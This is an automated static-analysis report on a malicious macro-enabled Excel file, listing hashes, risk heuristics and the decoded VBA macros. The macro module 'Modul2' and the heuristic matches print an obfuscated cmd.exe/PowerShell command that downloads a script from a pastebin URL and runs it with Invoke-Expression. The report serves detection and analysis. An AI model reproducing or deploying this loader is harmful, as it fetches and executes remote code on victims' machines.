Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 508f571522bb9e00…

MALICIOUS

Office (OOXML)

20.2 KB Created: 2021-02-28 19:44:56 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-10
MD5: bb867f5400acd77759f24f02baeb9c89 SHA-1: a4664f8b60f0597219beb1c4390ba216b400745d SHA-256: 508f571522bb9e001b5c21ea00150e7cec08598892ba97e87ee15adb00ba0001
180 Risk Score

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        strOutput = Shell("cmd.exe /V:ON/C""set ipmH=ex&&set dq2= (New-Object Ne&&set 79w=t.WebClient).Do&&set 21gC=ttps&&set jEL= """"powershe&&set yR=""""&&set iG=Invoke-Express&&set 3Zdk=cmd.exe /c&&set kpu=stebin.com/raw/pGY0fw73')""""&&set AH=pa&&set 4fX=e &&set w0et=g('h&&set CRjD=://&&set AQx=ll.&&set QUy=wnloadStr&&set GK=ion&&set FTL=in&&call set cBw=%3Zdk%%jEL%%AQx%%ipmH%%4fX%%iG%%GK%%dq2%%79w%%QUy%%FTL%%w0et%%21gC%%CRjD%%AH%%kpu%&&call %cBw:""""=!yR:~0,-1!%""")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        ActiveCell.FormulaR1C1 = "    strCommand = ""Powershell Echo Hello World"""
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        strOutput = Shell("cmd.exe /V:ON/C""set ipmH=ex&&set dq2= (New-Object Ne&&set 79w=t.WebClient).Do&&set 21gC=ttps&&set jEL= """"powershe&&set yR=""""&&set iG=Invoke-Express&&set 3Zdk=cmd.exe /c&&set kpu=stebin.com/raw/pGY0fw73')""""&&set AH=pa&&set 4fX=e &&set w0et=g('h&&set CRjD=://&&set AQx=ll.&&set QUy=wnloadStr&&set GK=ion&&set FTL=in&&call set cBw=%3Zdk%%jEL%%AQx%%ipmH%%4fX%%iG%%GK%%dq2%%79w%%QUy%%FTL%%w0et%%21gC%%CRjD%%AH%%kpu%&&call %cBw:""""=!yR:~0,-1!%""")

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3439 bytes
SHA-256: 4ab24cfc5141935903e65a6bddde3e267318fabcc43089db0c57272015a1d2e7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Modul1"
Sub test1()
Attribute test1.VB_ProcData.VB_Invoke_Func = " \n14"
'
' test1 Makro
'

'
    ActiveWindow.SmallScroll Down:=12
    Range("A16").Select
    ActiveWindow.SmallScroll Down:=27
    ActiveWindow.ScrollRow = 42
    ActiveWindow.ScrollRow = 41
    ActiveWindow.ScrollRow = 40
    ActiveWindow.ScrollRow = 39
    ActiveWindow.ScrollRow = 38
    ActiveWindow.ScrollRow = 36
    ActiveWindow.ScrollRow = 34
    ActiveWindow.ScrollRow = 32
    ActiveWindow.ScrollRow = 30
    ActiveWindow.ScrollRow = 27
    ActiveWindow.ScrollRow = 25
    ActiveWindow.ScrollRow = 23
    ActiveWindow.ScrollRow = 21
    ActiveWindow.ScrollRow = 19
    ActiveWindow.ScrollRow = 16
    ActiveWindow.ScrollRow = 14
    ActiveWindow.ScrollRow = 13
    ActiveWindow.ScrollRow = 11
    ActiveWindow.ScrollRow = 8
    ActiveWindow.ScrollRow = 6
    ActiveWindow.ScrollRow = 5
    ActiveWindow.ScrollRow = 3
    ActiveWindow.ScrollRow = 2
    ActiveWindow.ScrollRow = 1
    Range("A1").Select
    ActiveSheet.Paste
    ActiveWindow.SmallScroll Down:=6
    ActiveWindow.ScrollRow = 24
    ActiveWindow.ScrollRow = 23
    ActiveWindow.ScrollRow = 22
    ActiveWindow.ScrollRow = 21
    ActiveWindow.ScrollRow = 20
    ActiveWindow.ScrollRow = 19
    ActiveWindow.ScrollRow = 18
    ActiveWindow.ScrollRow = 17
    ActiveWindow.ScrollRow = 16
    ActiveWindow.ScrollRow = 15
    ActiveWindow.ScrollRow = 14
    ActiveWindow.ScrollRow = 12
    ActiveWindow.ScrollRow = 11
    ActiveWindow.ScrollRow = 10
    ActiveWindow.ScrollRow = 9
    ActiveWindow.ScrollRow = 8
    ActiveWindow.ScrollRow = 7
    ActiveWindow.ScrollRow = 6
    ActiveWindow.ScrollRow = 5
    ActiveWindow.ScrollRow = 4
    ActiveWindow.ScrollRow = 3
    ActiveWindow.ScrollRow = 2
    ActiveWindow.ScrollRow = 1
    Range("A2").Select
    ActiveCell.FormulaR1C1 = ""
    Range("A3").Select
    ActiveCell.FormulaR1C1 = "    strCommand = ""Powershell Echo Hello World"""
    Range("A6").Select
    ChDir "C:\Users\Kassandra\Desktop"
    ActiveWorkbook.SaveAs Filename:="C:\Users\Kassandra\Desktop\test1.xlsm", _
        FileFormat:=xlOpenXMLWorkbookMacroEnabled, CreateBackup:=False
    Range("C7").Select
End Sub

Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Modul2"
Function RunAndGetCmd()
    strOutput = Shell("cmd.exe /V:ON/C""set ipmH=ex&&set dq2= (New-Object Ne&&set 79w=t.WebClient).Do&&set 21gC=ttps&&set jEL= """"powershe&&set yR=""""&&set iG=Invoke-Express&&set 3Zdk=cmd.exe /c&&set kpu=stebin.com/raw/pGY0fw73')""""&&set AH=pa&&set 4fX=e &&set w0et=g('h&&set CRjD=://&&set AQx=ll.&&set QUy=wnloadStr&&set GK=ion&&set FTL=in&&call set cBw=%3Zdk%%jEL%%AQx%%ipmH%%4fX%%iG%%GK%%dq2%%79w%%QUy%%FTL%%w0et%%21gC%%CRjD%%AH%%kpu%&&call %cBw:""""=!yR:~0,-1!%""")
    'MsgBox strOutput
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 41472 bytes
SHA-256: 4113a7b7d18859c363db40eb4896f3d42cf66d02e47b18f32c1b25f0300d73e1

Open this report in the interactive analyzer, or submit your own file for analysis.